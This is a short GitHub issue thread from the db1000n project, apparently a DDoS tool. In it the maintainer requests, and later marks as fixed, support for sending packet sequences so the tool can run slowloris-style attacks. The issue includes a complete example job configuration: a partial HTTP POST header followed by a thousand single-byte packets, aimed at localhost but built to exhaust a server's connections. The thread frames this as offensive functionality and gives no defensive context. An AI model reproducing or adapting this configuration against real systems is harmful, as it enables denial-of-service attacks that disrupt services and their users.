arriven / db1000n

MIT License
1.17k stars 201 forks source link

Make it possible to send sequence of packets via packetgen #498

Closed arriven closed 2 years ago

arriven commented 2 years ago

Right now we can only send packets created via single template. In order to implement attacks similar to slowloris we need to be able to send a custom sequence of packets. Example configuration for slowloris would be something like this:

jobs:
  - type: packetgen
    args:
      connection:
        type: net
        args:
          protocol: "tcp"
          address: "localhost:1234"
          tls_config:
            insecure_skip_verify: true
      packets:
        - count: 1
          payload:
            type: raw
            data:
              payload: "POST / HTTP/1.1\nHost: localhost:1234\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 1000\n\n"
        - count: 1000
          payload:
            type: raw
            data:
              payload: "A"

Ideally we should make the change in a backward-compatible manner so that old config with a single packet would still work

arriven commented 2 years ago

fixed in https://github.com/Arriven/db1000n/commit/853980b0d13c69aa698a85f0ee18aafc36a1bb09